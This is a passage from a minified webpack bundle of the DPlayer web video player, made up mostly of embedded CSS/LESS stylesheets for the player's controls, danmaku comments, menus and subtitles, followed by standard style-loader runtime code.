box-sizing: border-box;\n bottom: 0;\n opacity: 0.8;\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n}\n.dplayer-danmaku {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n}\n.dplayer-danmaku .dplayer-danmaku-item {\n display: inline-block;\n pointer-events: none;\n user-select: none;\n cursor: default;\n white-space: nowrap;\n text-shadow: 0.5px 0.5px 0.5px rgba(0, 0, 0, 0.5);\n}\n.dplayer-danmaku .dplayer-danmaku-item--demo {\n position: absolute;\n visibility: hidden;\n}\n.dplayer-danmaku .dplayer-danmaku-right {\n position: absolute;\n right: 0;\n transform: translateX(100%);\n}\n.dplayer-danmaku .dplayer-danmaku-right.dplayer-danmaku-move {\n will-change: transform;\n animation-name: 'danmaku';\n animation-timing-function: linear;\n animation-play-state: paused;\n}\n@keyframes danmaku {\n from {\n transform: translateX(100%);\n }\n}\n.dplayer-danmaku .dplayer-danmaku-top,\n.dplayer-danmaku .dplayer-danmaku-bottom {\n position: absolute;\n width: 100%;\n text-align: center;\n visibility: hidden;\n}\n.dplayer-danmaku .dplayer-danmaku-top.dplayer-danmaku-move,\n.dplayer-danmaku .dplayer-danmaku-bottom.dplayer-danmaku-move {\n will-change: visibility;\n animation-name: 'danmaku-center';\n animation-timing-function: linear;\n animation-play-state: paused;\n}\n@keyframes danmaku-center {\n from {\n visibility: visible;\n }\n to {\n visibility: visible;\n }\n}\n.dplayer-logo {\n pointer-events: none;\n position: absolute;\n left: 20px;\n top: 20px;\n max-width: 50px;\n max-height: 50px;\n}\n.dplayer-logo img {\n max-width: 100%;\n max-height: 100%;\n background: none;\n}\n.dplayer-menu {\n position: absolute;\n width: 170px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.85);\n padding: 5px 0;\n overflow: hidden;\n z-index: 3;\n display: none;\n}\n.dplayer-menu.dplayer-menu-show {\n display: block;\n}\n.dplayer-menu .dplayer-menu-item {\n height: 30px;\n box-sizing: border-box;\n cursor: pointer;\n}\n.dplayer-menu .dplayer-menu-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-menu .dplayer-menu-item a {\n padding: 0 10px;\n line-height: 30px;\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n width: 100%;\n box-sizing: border-box;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n}\n.dplayer-menu .dplayer-menu-item a:hover {\n text-decoration: none;\n}\n.dplayer-notice-list {\n position: absolute;\n bottom: 60px;\n left: 20px;\n}\n.dplayer-notice-list .dplayer-notice {\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n color: #fff;\n display: table;\n pointer-events: none;\n animation: showNotice 0.3s ease 1 forwards;\n}\n.dplayer-notice-list .remove-notice {\n animation: removeNotice 0.3s ease 1 forwards;\n}\n@keyframes showNotice {\n from {\n padding: 0;\n font-size: 0;\n margin-top: 0;\n }\n to {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n}\n@keyframes removeNotice {\n 0% {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n 20% {\n font-size: 12px;\n }\n 21% {\n font-size: 0;\n padding: 7px 10px;\n }\n 100% {\n padding: 0;\n margin-top: 0;\n font-size: 0;\n }\n}\n.dplayer-subtitle {\n position: absolute;\n bottom: 40px;\n width: 90%;\n left: 5%;\n text-align: center;\n color: #fff;\n text-shadow: 0.5px 0.5px 0.5px rgba(0, 0, 0, 0.5);\n font-size: 20px;\n}\n.dplayer-subtitle.dplayer-subtitle-hide {\n display: none;\n}\n.dplayer-mask {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n z-index: 1;\n display: none;\n}\n.dplayer-mask.dplayer-mask-show {\n display: block;\n}\n.dplayer-video-wrap {\n position: relative;\n background: #000;\n font-size: 0;\n width: 100%;\n height: 100%;\n}\n.dplayer-video-wrap .dplayer-video {\n width: 100%;\n height: 100%;\n display: none;\n}\n.dplayer-video-wrap .dplayer-video-current {\n display: block;\n}\n.dplayer-video-wrap .dplayer-video-prepare {\n display: none;\n}\n.dplayer-info-panel {\n position: absolute;\n top: 10px;\n left: 10px;\n width: 400px;\n background: rgba(28, 28, 28, 0.8);\n padding: 10px;\n color: #fff;\n font-size: 12px;\n border-radius: 2px;\n}\n.dplayer-info-panel-hide {\n display: none;\n}\n.dplayer-info-panel .dplayer-info-panel-close {\n cursor: pointer;\n position: absolute;\n right: 10px;\n top: 10px;\n}\n.dplayer-info-panel .dplayer-info-panel-item > span {\n display: inline-block;\n vertical-align: middle;\n line-height: 15px;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n}\n.dplayer-info-panel .dplayer-info-panel-item-title {\n width: 100px;\n text-align: right;\n margin-right: 10px;\n}\n.dplayer-info-panel .dplayer-info-panel-item-data {\n width: 260px;\n}\n",".dplayer {\n position: relative;\n overflow: hidden;\n user-select: none;\n line-height: 1;\n\n * {\n box-sizing: content-box;\n }\n\n svg {\n width: 100%;\n height: 100%;\n\n path,\n circle {\n fill: #fff;\n }\n }\n\n &:-webkit-full-screen {\n width: 100%;\n height: 100%;\n background: #000;\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n margin: 0;\n padding: 0;\n transform: translate(0, 0);\n \n }\n\n &.dplayer-no-danmaku {\n .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box {\n .dplayer-setting-showdan,\n .dplayer-setting-danmaku,\n .dplayer-setting-danunlimit {\n display: none;\n }\n }\n\n .dplayer-controller .dplayer-icons .dplayer-comment {\n display: none;\n }\n\n .dplayer-danmaku {\n display: none;\n }\n }\n\n &.dplayer-live {\n .dplayer-time {\n display: none;\n }\n .dplayer-bar-wrap {\n display: none;\n }\n .dplayer-setting-speed {\n display: none;\n }\n .dplayer-setting-loop {\n display: none;\n }\n\n &.dplayer-no-danmaku {\n .dplayer-setting {\n display: none;\n }\n }\n }\n\n &.dplayer-arrow {\n .dplayer-danmaku {\n font-size: 18px;\n }\n .dplayer-icon {\n margin: 0 -3px;\n }\n }\n\n &.dplayer-playing {\n .dplayer-danmaku .dplayer-danmaku-move {\n animation-play-state: running;\n }\n\n @media (min-width: 900px) {\n .dplayer-controller-mask {\n opacity: 0;\n }\n .dplayer-controller {\n opacity: 0;\n }\n\n &:hover {\n .dplayer-controller-mask {\n opacity: 1;\n }\n .dplayer-controller {\n opacity: 1;\n }\n }\n }\n }\n\n &.dplayer-loading {\n .dplayer-bezel .diplayer-loading-icon {\n display: block;\n }\n }\n\n &.dplayer-loading,\n &.dplayer-paused {\n .dplayer-danmaku,\n .dplayer-danmaku-move {\n animation-play-state: paused;\n }\n }\n\n &.dplayer-hide-controller {\n cursor: none;\n\n .dplayer-controller-mask {\n opacity: 0;\n transform: translateY(100%);\n }\n .dplayer-controller {\n opacity: 0;\n transform: translateY(100%);\n }\n }\n &.dplayer-show-controller {\n .dplayer-controller-mask {\n opacity: 1;\n }\n .dplayer-controller {\n opacity: 1;\n }\n }\n &.dplayer-fulled {\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n width: 100% !important;\n height: 100% !important;\n }\n &.dplayer-mobile {\n .dplayer-controller .dplayer-icons {\n .dplayer-volume,\n .dplayer-camera-icon,\n .dplayer-airplay-icon,\n .dplayer-chromecast-icon,\n .dplayer-play-icon {\n display: none;\n }\n .dplayer-full .dplayer-full-in-icon {\n position: static;\n display: inline-block;\n }\n }\n\n .dplayer-bar-time {\n display: none;\n }\n\n &.dplayer-hide-controller {\n .dplayer-mobile-play {\n display: none;\n }\n }\n\n .dplayer-mobile-play {\n display: block;\n }\n }\n}\n\n// To hide scroll bar, apply this class to \n.dplayer-web-fullscreen-fix {\n position: fixed;\n top: 0;\n left: 0;\n margin: 0;\n padding: 0;\n}\n","@import '../../node_modules/balloon-css/balloon.css';\n\n[data-balloon]:before {\n display: none;\n}\n\n[data-balloon]:after {\n padding: 0.3em 0.7em;\n background: rgba(17, 17, 17, 0.7);\n}\n\n[data-balloon][data-balloon-pos=\"up\"]:after {\n margin-bottom: 0;\n}",".dplayer-bezel {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n pointer-events: none;\n .dplayer-bezel-icon {\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -26px 0 0 -26px;\n height: 52px;\n width: 52px;\n padding: 12px;\n box-sizing: border-box;\n background: rgba(0, 0, 0, .5);\n border-radius: 50%;\n opacity: 0;\n pointer-events: none;\n &.dplayer-bezel-transition {\n animation: bezel-hide .5s linear;\n }\n @keyframes bezel-hide {\n from {\n opacity: 1;\n transform: scale(1);\n }\n to {\n opacity: 0;\n transform: scale(2);\n }\n }\n }\n .dplayer-danloading {\n position: absolute;\n top: 50%;\n margin-top: -7px;\n width: 100%;\n text-align: center;\n font-size: 14px;\n line-height: 14px;\n animation: my-face 5s infinite ease-in-out;\n }\n .diplayer-loading-icon {\n display: none;\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -18px 0 0 -18px;\n height: 36px;\n width: 36px;\n pointer-events: none;\n .diplayer-loading-hide {\n display: none;\n }\n .diplayer-loading-dot {\n animation: diplayer-loading-dot-fade .8s ease infinite;\n opacity: 0;\n transform-origin: 4px 4px;\n each(range(7), {\n &.diplayer-loading-dot-@{value} {\n animation-delay: (@value * 0.1s);\n }\n });\n }\n @keyframes diplayer-loading-dot-fade {\n 0% {\n opacity: .7;\n transform: scale(1.2, 1.2)\n }\n 50% {\n opacity: .25;\n transform: scale(.9, .9)\n }\n to {\n opacity: .25;\n transform: scale(.85, .85)\n }\n }\n }\n}",".dplayer-mask {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n z-index: 1;\n display: none;\n &.dplayer-mask-show {\n display: block;\n }\n}\n\n.dplayer-video-wrap {\n position: relative;\n background: #000;\n font-size: 0;\n width: 100%;\n height: 100%;\n .dplayer-video {\n width: 100%;\n height: 100%;\n display: none;\n }\n .dplayer-video-current {\n display: block;\n }\n .dplayer-video-prepare {\n display: none;\n }\n}",'.dplayer-controller-mask {\n background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAADGCAYAAAAT+OqFAAAAdklEQVQoz42QQQ7AIAgEF/T/D+kbq/RWAlnQyyazA4aoAB4FsBSA/bFjuF1EOL7VbrIrBuusmrt4ZZORfb6ehbWdnRHEIiITaEUKa5EJqUakRSaEYBJSCY2dEstQY7AuxahwXFrvZmWl2rh4JZ07z9dLtesfNj5q0FU3A5ObbwAAAABJRU5ErkJggg==) repeat-x bottom;\n height: 98px;\n width: 100%;\n position: absolute;\n bottom: 0;\n transition: all 0.3s ease;\n}\n\n.dplayer-controller {\n position: absolute;\n bottom: 0;\n left: 0;\n right: 0;\n height: 41px;\n padding: 0 20px;\n user-select: none;\n transition: all 0.3s ease;\n &.dplayer-controller-comment {\n .dplayer-icons {\n display: none;\n }\n .dplayer-icons.dplayer-comment-box {\n display: block;\n }\n }\n .dplayer-bar-wrap {\n padding: 5px 0;\n cursor: pointer;\n position: absolute;\n bottom: 33px;\n width: calc(100% - 40px);\n height: 3px;\n &:hover {\n .dplayer-bar .dplayer-played .dplayer-thumb {\n transform: scale(1);\n }\n .dplayer-highlight {\n display: block;\n width: 8px;\n transform: translateX(-4px);\n top: 4px;\n height: 40%;\n }\n }\n .dplayer-highlight {\n z-index: 12;\n position: absolute;\n top: 5px;\n width: 6px;\n height: 20%;\n border-radius: 6px;\n background-color: #fff;\n text-align: center;\n transform: translateX(-3px);\n transition: all .2s ease-in-out;\n &:hover {\n .dplayer-highlight-text {\n display: block;\n }\n &~.dplayer-bar-preview {\n opacity: 0;\n }\n &~.dplayer-bar-time {\n opacity: 0;\n }\n }\n .dplayer-highlight-text {\n display: none;\n position: absolute;\n left: 50%;\n top: -24px;\n padding: 5px 8px;\n background-color: rgba(0, 0, 0, .62);\n color: #fff;\n border-radius: 4px;\n font-size: 12px;\n white-space: nowrap;\n transform: translateX(-50%);\n }\n }\n .dplayer-bar-preview {\n position: absolute;\n background: #fff;\n pointer-events: none;\n display: none;\n background-size: 16000px 100%;\n }\n .dplayer-bar-preview-canvas {\n position: absolute;\n width: 100%;\n height: 100%;\n z-index: 1;\n pointer-events: none;\n }\n .dplayer-bar-time {\n &.hidden {\n opacity: 0;\n }\n position: absolute;\n left: 0px;\n top: -20px;\n border-radius: 4px;\n padding: 5px 7px;\n background-color: rgba(0, 0, 0, 0.62);\n color: #fff;\n font-size: 12px;\n text-align: center;\n opacity: 1;\n transition: opacity .1s ease-in-out;\n word-wrap: normal;\n word-break: normal;\n z-index: 2;\n pointer-events: none;\n }\n .dplayer-bar {\n position: relative;\n height: 3px;\n width: 100%;\n background: rgba(255, 255, 255, .2);\n cursor: pointer;\n .dplayer-loaded {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n background: rgba(255, 255, 255, .4);\n height: 3px;\n transition: all 0.5s ease;\n will-change: width;\n }\n .dplayer-played {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n height: 3px;\n will-change: width;\n .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all .3s ease-in-out;\n transform: scale(0);\n }\n }\n }\n }\n .dplayer-icons {\n height: 38px;\n position: absolute;\n bottom: 0;\n &.dplayer-comment-box {\n display: none;\n position: absolute;\n transition: all .3s ease-in-out;\n z-index: 2;\n height: 38px;\n bottom: 0;\n left: 20px;\n right: 20px;\n color: #fff;\n .dplayer-icon {\n padding: 7px;\n }\n .dplayer-comment-setting-icon {\n position: absolute;\n left: 0;\n top: 0;\n }\n .dplayer-send-icon {\n position: absolute;\n right: 0;\n top: 0;\n }\n .dplayer-comment-setting-box {\n position: absolute;\n background: rgba(28, 28, 28, 0.9);\n bottom: 41px;\n left: 0;\n box-shadow: 0 0 25px rgba(0, 0, 0, .3);\n border-radius: 4px;\n padding: 10px 10px 16px;\n font-size: 14px;\n width: 204px;\n transition: all .3s ease-in-out;\n transform: scale(0);\n &.dplayer-comment-setting-open {\n transform: scale(1);\n }\n input[type=radio] {\n display: none;\n }\n label {\n cursor: pointer;\n }\n .dplayer-comment-setting-title {\n font-size: 13px;\n color: #fff;\n line-height: 30px;\n }\n .dplayer-comment-setting-type {\n font-size: 0;\n .dplayer-comment-setting-title {\n margin-bottom: 6px;\n }\n label {\n &:nth-child(2) {\n span {\n border-radius: 4px 0 0 4px;\n }\n }\n &:nth-child(4) {\n span {\n border-radius: 0 4px 4px 0;\n }\n }\n }\n span {\n width: 33%;\n padding: 4px 6px;\n line-height: 16px;\n display: inline-block;\n font-size: 12px;\n color: #fff;\n border: 1px solid #fff;\n margin-right: -1px;\n box-sizing: border-box;\n text-align: center;\n cursor: pointer;\n }\n input:checked+span {\n background: #E4E4E6;\n color: #1c1c1c;\n }\n }\n .dplayer-comment-setting-color {\n font-size: 0;\n label {\n font-size: 0;\n padding: 6px;\n display: inline-block;\n }\n span {\n width: 22px;\n height: 22px;\n display: inline-block;\n border-radius: 50%;\n box-sizing: border-box;\n cursor: pointer;\n &:hover {\n animation: my-face 5s infinite ease-in-out;\n }\n }\n }\n }\n .dplayer-comment-input {\n outline: none;\n border: none;\n padding: 8px 31px;\n font-size: 14px;\n line-height: 18px;\n text-align: center;\n border-radius: 4px;\n background: none;\n margin: 0;\n height: 100%;\n box-sizing: border-box;\n width: 100%;\n color: #fff;\n &::placeholder {\n color: #fff;\n opacity: 0.8;\n }\n &::-ms-clear {\n display: none;\n }\n }\n }\n &.dplayer-icons-left {\n .dplayer-icon {\n padding: 7px;\n }\n }\n &.dplayer-icons-right {\n right: 20px;\n .dplayer-icon {\n padding: 8px;\n }\n }\n .dplayer-time,\n .dplayer-live-badge {\n line-height: 38px;\n color: #eee;\n text-shadow: 0 0 2px rgba(0, 0, 0, .5);\n vertical-align: middle;\n font-size: 13px;\n cursor: default;\n }\n .dplayer-live-dot {\n display: inline-block;\n width: 6px;\n height: 6px;\n vertical-align: 4%;\n margin-right: 5px;\n content: \'\';\n border-radius: 6px;\n }\n .dplayer-icon {\n width: 40px;\n height: 100%;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n vertical-align: middle;\n box-sizing: border-box;\n display: inline-block;\n .dplayer-icon-content {\n transition: all .2s ease-in-out;\n opacity: .8;\n }\n &:hover {\n .dplayer-icon-content {\n opacity: 1;\n }\n }\n &.dplayer-quality-icon {\n color: #fff;\n width: auto;\n line-height: 22px;\n font-size: 14px;\n }\n &.dplayer-comment-icon {\n padding: 10px 9px 9px;\n }\n &.dplayer-setting-icon {\n padding-top: 8.5px;\n }\n &.dplayer-volume-icon {\n width: 43px;\n }\n }\n .dplayer-volume {\n position: relative;\n display: inline-block;\n cursor: pointer;\n height: 100%;\n &:hover {\n .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n }\n .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n }\n }\n &.dplayer-volume-active {\n .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n }\n .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n }\n }\n .dplayer-volume-bar-wrap {\n display: inline-block;\n margin: 0 10px 0 -5px;\n vertical-align: middle;\n height: 100%;\n .dplayer-volume-bar {\n position: relative;\n top: 17px;\n width: 0;\n height: 3px;\n background: #aaa;\n transition: all 0.3s ease-in-out;\n .dplayer-volume-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n will-change: width;\n .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all .3s ease-in-out;\n transform: scale(0);\n }\n }\n }\n }\n }\n .dplayer-subtitle-btn {\n display: inline-block;\n height: 100%;\n }\n .dplayer-subtitles {\n display: inline-block;\n height: 100%;\n .dplayer-subtitles-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: fit-content;\n max-width: 240px;\n min-width: 120px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all .3s ease-in-out;\n overflow: auto;\n z-index: 2;\n &.dplayer-subtitles-panel {\n display: block;\n }\n &.dplayer-subtitles-box-open {\n transform: scale(1);\n }\n }\n .dplayer-subtitles-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n &:hover {\n background-color: rgba(255, 255, 255, .1);\n }\n }\n }\n .dplayer-setting {\n display: inline-block;\n height: 100%;\n .dplayer-setting-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: 150px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all .3s ease-in-out;\n overflow: hidden;\n z-index: 2;\n &>div {\n display: none;\n &.dplayer-setting-origin-panel {\n display: block;\n }\n }\n &.dplayer-setting-box-open {\n transform: scale(1);\n }\n &.dplayer-setting-box-narrow {\n width: 70px;\n text-align: center;\n }\n &.dplayer-setting-box-speed {\n .dplayer-setting-origin-panel {\n display: none;\n }\n .dplayer-setting-speed-panel {\n display: block;\n }\n }\n }\n .dplayer-setting-item,\n .dplayer-setting-speed-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n &:hover {\n background-color: rgba(255, 255, 255, .1);\n }\n }\n .dplayer-setting-danmaku {\n padding: 5px 0;\n .dplayer-label {\n padding: 0 10px;\n display: inline;\n }\n &:hover {\n .dplayer-label {\n display: none;\n }\n .dplayer-danmaku-bar-wrap {\n display: inline-block;\n }\n }\n &.dplayer-setting-danmaku-active {\n .dplayer-label {\n display: none;\n }\n .dplayer-danmaku-bar-wrap {\n display: inline-block;\n }\n }\n .dplayer-danmaku-bar-wrap {\n padding: 0 10px;\n box-sizing: border-box;\n display: none;\n vertical-align: middle;\n height: 100%;\n width: 100%;\n .dplayer-danmaku-bar {\n position: relative;\n top: 8.5px;\n width: 100%;\n height: 3px;\n background: #fff;\n transition: all 0.3s ease-in-out;\n .dplayer-danmaku-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n background: #aaa;\n will-change: width;\n .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all .3s ease-in-out;\n background: #aaa;\n }\n }\n }\n }\n }\n }\n .dplayer-full {\n display: inline-block;\n height: 100%;\n position: relative;\n &:hover {\n .dplayer-full-in-icon {\n display: block;\n }\n }\n .dplayer-full-in-icon {\n position: absolute;\n top: -30px;\n z-index: 1;\n display: none;\n }\n }\n .dplayer-quality {\n position: relative;\n display: inline-block;\n height: 100%;\n z-index: 2;\n &:hover {\n .dplayer-quality-list {\n display: block;\n }\n .dplayer-quality-mask {\n display: block;\n }\n }\n .dplayer-quality-mask {\n display: none;\n position: absolute;\n bottom: 38px;\n left: -18px;\n width: 80px;\n padding-bottom: 12px;\n }\n .dplayer-quality-list {\n display: none;\n font-size: 12px;\n width: 80px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 5px 0;\n transition: all .3s ease-in-out;\n overflow: hidden;\n color: #fff;\n text-align: center;\n }\n .dplayer-quality-item {\n height: 25px;\n box-sizing: border-box;\n cursor: pointer;\n line-height: 25px;\n &:hover {\n background-color: rgba(255, 255, 255, .1);\n }\n }\n }\n .dplayer-comment {\n display: inline-block;\n height: 100%;\n }\n .dplayer-label {\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n white-space: nowrap;\n }\n .dplayer-toggle {\n width: 32px;\n height: 20px;\n text-align: center;\n font-size: 0;\n vertical-align: middle;\n position: absolute;\n top: 5px;\n right: 10px;\n input {\n max-height: 0;\n max-width: 0;\n display: none;\n }\n input+label {\n display: inline-block;\n position: relative;\n box-shadow: rgb(223, 223, 223) 0 0 0 0 inset;\n border: 1px solid rgb(223, 223, 223);\n height: 20px;\n width: 32px;\n border-radius: 10px;\n box-sizing: border-box;\n cursor: pointer;\n transition: .2s ease-in-out;\n }\n input+label:before {\n content: "";\n position: absolute;\n display: block;\n height: 18px;\n width: 18px;\n top: 0;\n left: 0;\n border-radius: 15px;\n transition: .2s ease-in-out;\n }\n input+label:after {\n content: "";\n position: absolute;\n display: block;\n left: 0;\n top: 0;\n border-radius: 15px;\n background: #fff;\n transition: .2s ease-in-out;\n box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);\n height: 18px;\n width: 18px;\n }\n input:checked+label {\n border-color: rgba(255, 255, 255, 0.5);\n }\n input:checked+label:before {\n width: 30px;\n background: rgba(255, 255, 255, 0.5);\n }\n input:checked+label:after {\n left: 12px;\n }\n }\n }\n}\n\n.dplayer-mobile-play {\n display: none;\n width: 50px;\n height: 50px;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n box-sizing: border-box;\n position: absolute;\n bottom: 0;\n opacity: 0.8;\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n}',".dplayer-danmaku {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n .dplayer-danmaku-item {\n display: inline-block;\n pointer-events: none;\n user-select: none;\n cursor: default;\n white-space: nowrap;\n text-shadow: .5px .5px .5px rgba(0, 0, 0, .5);\n &--demo {\n position: absolute;\n visibility: hidden;\n }\n }\n .dplayer-danmaku-right {\n position: absolute;\n right: 0;\n transform: translateX(100%);\n &.dplayer-danmaku-move {\n will-change: transform;\n animation-name: 'danmaku';\n animation-timing-function: linear;\n animation-play-state: paused;\n }\n }\n @keyframes danmaku {\n from {\n transform: translateX(100%);\n }\n }\n .dplayer-danmaku-top,\n .dplayer-danmaku-bottom {\n position: absolute;\n width: 100%;\n text-align: center;\n visibility: hidden;\n &.dplayer-danmaku-move {\n will-change: visibility;\n animation-name: 'danmaku-center';\n animation-timing-function: linear;\n animation-play-state: paused;\n }\n }\n @keyframes danmaku-center {\n from {\n visibility: visible;\n }\n to {\n visibility: visible;\n }\n }\n}",".dplayer-logo {\n pointer-events: none;\n position: absolute;\n left: 20px;\n top: 20px;\n max-width: 50px;\n max-height: 50px;\n img {\n max-width: 100%;\n max-height: 100%;\n background: none;\n }\n}",".dplayer-menu {\n position: absolute;\n width: 170px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.85);\n padding: 5px 0;\n overflow: hidden;\n z-index: 3;\n display: none;\n &.dplayer-menu-show {\n display: block;\n }\n .dplayer-menu-item {\n height: 30px;\n box-sizing: border-box;\n cursor: pointer;\n &:hover {\n background-color: rgba(255, 255, 255, .1);\n }\n a {\n display: inline-block;\n padding: 0 10px;\n line-height: 30px;\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n width: 100%;\n box-sizing: border-box;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n &:hover {\n text-decoration: none;\n }\n }\n }\n}",".dplayer-notice-list{\n position: absolute;\n bottom: 60px;\n left: 20px;\n\n .dplayer-notice {\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n transition: all .3s ease-in-out;\n overflow: hidden;\n color: #fff;\n display: table;\n pointer-events: none;\n animation: showNotice .3s ease 1 forwards;\n }\n\n .remove-notice{\n animation: removeNotice .3s ease 1 forwards;\n }\n}\n\n@keyframes showNotice {\n from {\n padding: 0;\n font-size: 0;\n margin-top: 0;\n }\n to {\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n}\n\n@keyframes removeNotice {\n 0%{\n padding: 7px 20px;\n font-size: 14px;\n margin-top: 5px;\n }\n 20%{\n font-size: 12px;\n }\n 21%{\n font-size: 0;\n padding: 7px 10px;\n }\n 100%{\n padding: 0;\n margin-top: 0;\n font-size: 0;\n }\n}\n",".dplayer-subtitle {\n position: absolute;\n bottom: 40px;\n width: 90%;\n left: 5%;\n text-align: center;\n color: #fff;\n text-shadow: 0.5px 0.5px 0.5px rgba(0, 0, 0, 0.5);\n font-size: 20px;\n &.dplayer-subtitle-hide {\n display: none;\n }\n}",".dplayer-info-panel {\n position: absolute;\n top: 10px;\n left: 10px;\n width: 400px;\n background: rgba(28, 28, 28, 0.8);\n padding: 10px;\n color: #fff;\n font-size: 12px;\n border-radius: 2px;\n\n &-hide {\n display: none;\n }\n\n .dplayer-info-panel-close {\n cursor: pointer;\n position: absolute;\n right: 10px;\n top: 10px;\n }\n\n .dplayer-info-panel-item {\n & > span {\n display: inline-block;\n vertical-align: middle;\n line-height: 15px;\n white-space: nowrap;\n text-overflow: ellipsis;\n overflow: hidden;\n }\n }\n\n .dplayer-info-panel-item-title {\n width: 100px;\n text-align: right;\n margin-right: 10px;\n }\n \n .dplayer-info-panel-item-data {\n width: 260px;\n }\n}"],sourceRoot:""}]);const u=A},9624:n=>{"use strict";var e=[];function t(n){for(var t=-1,a=0;a{"use strict";var e={};n.exports=function(n,t){var a=function(n){if(void 0===e[n]){var t=document.querySelector(n);if(window.HTMLIFrameElement&&t instanceof window.HTMLIFrameElement)try{t=t.contentDocument.head}catch(n){t=null}e[n]=t}return e[n]}(n);if(!a)throw new Error("Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.");a.appendChild(t)}},2716:n=>{"use strict";n.exports=function(n){var e=document.createElement("style");return n.setAttributes(e,n.attributes),n.insert(e,n.options),e}},6359:(n,e,t)=>{"use strict";n.exports=function(n){var e=t.nc;e&&n.setAttribute("nonce",e)}},6990:n=>{"use strict";n.exports=function(n){var e=n.insertStyleElement(n);return{update:function(t){!function(n,e,t){var a="";t.supports&&(a+="@supports (".concat(t.supports,") {")),t.media&&(a+="@media ".concat(t.media," {"));var o=void 0!==t.layer;o&&(a+="@layer".concat(t.layer.length>0?" ".concat(t.layer):""," {")),a+=t.css,o&&(a+="}"),t.media&&(a+="}"),t.supports&&(a+="}");var r=t.sourceMap;r&&"undefined"!=typeof btoa&&(a+="\n/*# sourceMappingURL=data:application/json;base64,".concat(btoa(unescape(encodeURIComponent(JSON.stringify(r))))," */")),e.styleTagTransform(a,n,e.options)}(e,n,t)},remove:function(){!function(n){if(null===n.parentNode)return!1;n.parentNode.removeChild(n)}(e)}}}},230:n=>{"use strict";n.exports=function(n,e){if(e.styleSheet)e.styleSheet.cssText=n;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(n))}}},6251:n=>{n.exports=' '},8113:n=>{n.exports=' '},3193:n=>{n.exports=' '},338:n=>{n.exports=' '},2807:n=>{n.exports=' '},1415:n=>{n.exports=' '},4574:n=>{n.exports=' '},4182:n=>{n.exports=' '},1965:n=>{n.exports=' '},6074:n=>{n.exports=' '},730:n=>{n.exports=' '},1428:n=>{n.exports=' '},2254:n=>{n.exports=' '},5934:n=>{n.exports=' '},8410:n=>{n.exports=' '},2644:n=>{n.exports=' '},1324:n=>{n.exports=' '},4437:n=>{n.exports=' '},9959:(n,e,t)=>{"use strict";var a="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0!==t.g?t.g:{},o=Object.create(a),r=/["&'<>]/;function i(n){return"string"!=typeof 